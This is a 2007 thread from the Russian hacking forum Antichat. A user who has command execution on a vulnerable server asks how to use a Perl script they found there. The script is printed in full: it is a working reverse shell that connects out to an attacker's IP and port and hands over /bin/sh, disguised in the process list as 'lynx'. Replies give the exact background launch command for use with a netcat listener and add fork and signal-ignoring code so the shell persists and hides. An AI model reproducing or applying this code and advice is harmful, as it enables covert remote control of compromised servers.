Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   нашол Perl скрипт (https://forum.antichat.xyz/showthread.php?t=45890)

ya_mag 02.08.2007 15:38

нашол Perl скрипт
 
вот на одном уязвимом серваке нашол такое:
Код:

#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю :( вопрос: как его заюзать для себя?
на серваке php инклуд консоль работает :) даже с правами какогото юзера :D

Helios 02.08.2007 15:50

Загрузи этот файл на сервер, затем в консоли выполни
Код:

perl your_script.pl 192.168.19.217 12345 >/dev/null &
где your_script.pl - имя скрипта, который ты загрузишь,
192.168.19.217 - твой IP
12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта

>/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда

& - исполнять в фоне

C!klodoL 02.08.2007 16:10

по моему скрипт просто перенаправляет вывод браузера lynx в сокет

Helios 02.08.2007 16:23

Выводит он информацию о системе и пользователе, после чего запускает /bin/sh
PHP код:

$system'echo "`uname -a`";echo "`id`";/bin/sh';
.....
system($system); 

А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)

KSURi 02.08.2007 19:18

Код:

$cmd= "lynx"; ... $0=$cmd;
Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню

fYt 02.08.2007 19:32

Можно добавить такой код в начало и еще игнорирование сигналов.
Код:

my $pid=fork;
exit if $pid;
$SIG{'INT'}='IGNORE';
$SIG{'HUP'}='IGNORE';
$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';
$SIG{'PS'}='IGNORE';


biophreak 14.08.2007 15:53

Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам :)

ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =)
Этим можно избежать многих проблем :)

ЗЗЫЖ Оффтоплю? Сорри :)

fYt 14.08.2007 15:56

Из этих все получится. Не игонорится SIGKILL.


Время: 00:52